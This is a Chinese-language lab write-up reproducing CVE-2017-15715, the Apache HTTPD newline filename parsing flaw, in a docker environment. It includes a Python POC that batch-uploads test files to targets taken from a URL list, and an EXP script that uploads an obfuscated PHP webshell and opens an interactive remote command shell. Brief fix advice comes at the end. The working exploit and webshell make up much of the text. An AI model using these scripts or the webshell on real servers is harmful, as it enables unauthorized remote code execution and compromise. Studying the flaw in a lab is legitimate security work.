漏洞介紹

CVE-2017-15715

Apache HTTPD 是一個廣泛使用的 HTTP 服務器，可以通過 mod_php 模塊來運行 PHP 網頁。在其 2.4.0 到 2.4.29 版本中存在一個解析漏洞，當文件名以 1.php\x0A 結尾時，該文件會被按照 PHP 文件進行解析，這使得攻擊者可以繞過服務器的一些安全策略。

環境搭建

docker compose build
docker compose up -d

檢測web使用的服務器，Apache 2.4.10版本，可能存在Apache HTTPD 解析漏洞

漏洞復現

上傳一個phpinfo的文件

<?php phpinfo();?>

首先，嘗試上傳一個名為 phpin.php 的文件，可以看到上傳被安全檢查攔截：

切換到Hex，在1.php后添加0a

但是，如果我們在文件名 1.php 后面添加一個 \x0A（注意：必須是單獨的 \x0A，而不是 \x0D\x0A），上傳就會成功：

發送數據包，如圖所示

在ubuntu上查看信息，科里面可以看到我們上傳的11.php文件

#查看鏡像CONTAINER ID
docker ps
root@xuan-virtual-machine:/home/xuan/vulhub/httpd/CVE-2017-15715# docker exec -it cve-2017-15715_apache_1  bash
root@2dbf622e717a:/var/www/html# ls
11.php?  index.php

瀏覽器進行訪問[http://192.168.118.135:8080/11.php%0A](http://192.168.118.135:8080/11.php )

當訪問上傳的文件 /1.php%0a 時，雖然該文件沒有正確的 PHP 擴展名，但它會被成功解析為 PHP 文件。這證實了解析漏洞的存在：

POC和EXP腳本

#CVE-2017-15715-POC
__author__ = '紙機'
import requests
import optparse
import osparse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')options,args = parse.parse_args()
#print(options)
#驗證參數是否完整
if (not options.URL or not options.PORT) and not options.FILE:print('Usage:python3 CVE-2017-15715-POC.py [-u url] [-p port] [-f FILE]\n')exit('CVE-2017-15715-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')filename = '/2.php%0A'
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0','Content-Type': 'multipart/form-data; boundary=---------------------------153388130435749919031880185481'}
#提交數據
data = '''-----------------------------153388130435749919031880185481
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: application/octet-streamaaa
-----------------------------153388130435749919031880185481
Content-Disposition: form-data; name="name"2.php-----------------------------153388130435749919031880185481--'''
#驗證鏈接
#url2 = options.URL+':'+options.PORT+filename
def upload(url):try:#上傳文件resp = requests.post(url,headers=headers,data=data)return 1except Exception as e:print("[-] {0} 連接失敗".format(url))return 0def checking(url):try:#驗證文件是否上傳成功response = requests.get(url+filename)if response.status_code == 200 and 'aaa' in response.text:print('[+] {0} 存在CVE-2017-15715 Apache HTTPD 換行解析漏洞'.format(url))else:print('[-] {0} 不存在Apache HTTPD 換行解析漏洞'.format(url))except Exception as e:print("[-]{0}連接失敗".format(url))if options.FILE and os.path.exists(options.FILE):with open(options.FILE) as f:urls = f.readlines()#print(urls)for url in urls:url = str(url).replace("\n", "")if upload(url) == 1:checking(url)
elif options.FILE and not os.path.exists(options.FILE):print('[-] {0} 文件不存在'.format(options.FILE))
else:#上傳鏈接url = options.URL+':'+options.PORTif upload(url) == 1:checking(url)

python .\CVE-2017-15715-POC.py  -u http://192.168.118.135  -p 8080

EXP

#CVE-2017-15715 EXP
__author__ = 'zhiji'import requests
import optparse
import timeparse = optparse.OptionParser(usage = 'python3 %prog -u url [-p port] version=1.0')
parse.add_option('-u','--url',dest='url',help='web server ip_addr')
parse.add_option('-p','--port',dest='port',help='web server port[default:8080]',default='8080')options,args = parse.parse_args()
#驗證參數是否完整
if not options.url or not options.port:print('Usage:python3 CVE-2017-15715-EXP.py -u url -p port\n')exit('CVE-2017-15715-EXP.py:error:missing a mandatory option(-u,-p).\nUse -h for basic and -hh for advanced help')#ip = '192.168.132.142:8080/'
filename = '/hackdoor.php%0a?0='#上傳鏈接
url1 = options.url+':'+options.port
#命令執行
url2 = options.url+':'+options.port+filename#數據包頭部
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0','Content-Type': 'multipart/form-data; boundary=---------------------------153388130435749919031880185481'}
#上傳數據
data = '''-----------------------------153388130435749919031880185481
Content-Disposition: form-data; name="file"; filename="hackdoor.php"
Content-Type: application/octet-stream<?=$_="";$_="'" ;$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>-----------------------------153388130435749919031880185481
Content-Disposition: form-data; name="name"hackdoor.php-----------------------------153388130435749919031880185481--'''#上傳木馬
def upload(url):print('[*]目標地址:'+url1)respond = requests.post(url1,headers=headers,data=data)try:if respond.status_code == 200:print('[+]木馬上傳成功')else:print('[-]上傳失敗')except Exception as e:print(e)#命令執行
def attack(url,cmd):respond = requests.get(url+cmd)try:if respond.status_code == 200 and cmd == 'pwd':return respond.textif respond.status_code == 200:print(respond.text)else:print('命令執行錯誤')except Exception as e:print(e)
upload(url1)
time.sleep(0.5)
print('輸入執行命令(quit退出):')
while(1):pwd = attack(url2,'pwd')pwd = '{0}>'.format(str(pwd).replace("\n",""))cmd = input(pwd)if(cmd == 'quit'):breakattack(url2,cmd)

python .\CVE-2017-15715-EXP.py  -u http://192.168.118.135  -p 8080

修復建議

• 升級到最新版本
• 對上傳文件重命名
• 禁用上傳文件的執行權限